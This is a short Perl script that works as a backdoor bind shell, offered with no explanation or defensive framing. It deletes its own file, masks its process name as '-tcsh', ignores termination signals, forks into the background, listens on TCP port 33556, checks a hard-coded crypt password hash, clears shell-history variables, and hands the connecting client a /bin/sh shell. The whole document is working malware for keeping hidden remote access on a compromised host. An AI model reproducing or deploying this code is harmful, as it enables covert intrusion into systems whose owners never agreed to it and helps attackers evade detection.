#!/usr/bin/perl
###make PASSWORD:    perl -e 'print crypt("PASSWORD_8_char","SALT_2_char");'
$crypt_pass = "zZ4BPoZoF0Z32";  
$port = 33556; $hide = "-tcsh";
unlink($0); $0 = $hide . "\0" x16;
$SIG{'INT'}='IGNORE';$SIG{'HUP'}='IGNORE';$SIG{'TERM'}='IGNORE';
$SIG{'CHLD'}='IGNORE'; if(fork()){exit(0);};
use Socket; $proto = getprotobyname('tcp');
socket(SERVER,PF_INET,SOCK_STREAM,$proto);
setsockopt(SERVER,SOL_SOCKET,SO_REUSEADDR,pack("l",1));
bind(SERVER,sockaddr_in($port,INADDR_ANY));
listen(SERVER,SOMAXCONN) or die "listen: $!";
for(;$paddr = accept(CLIENT,SERVER);close CLIENT){
   open(STDIN,">&CLIENT");open(STDOUT,">&CLIENT");open(STDERR,">&CLIENT");
   recv CLIENT,$pass,9,0; chop($pass);
   if($crypt_pass =~ crypt($pass,substr($crypt_pass,0,2))){
   delete $ENV{'HISTFILE'};delete $ENV{'HISTFILESIZE'};delete $ENV{'HISTSIZE'};
   if(fork()){exec {'/bin/sh'} '-tcsh' . "\0" x4;exit(0);};
}
close(STDIN);close(STDOUT);close(STDERR);
}
### End ###
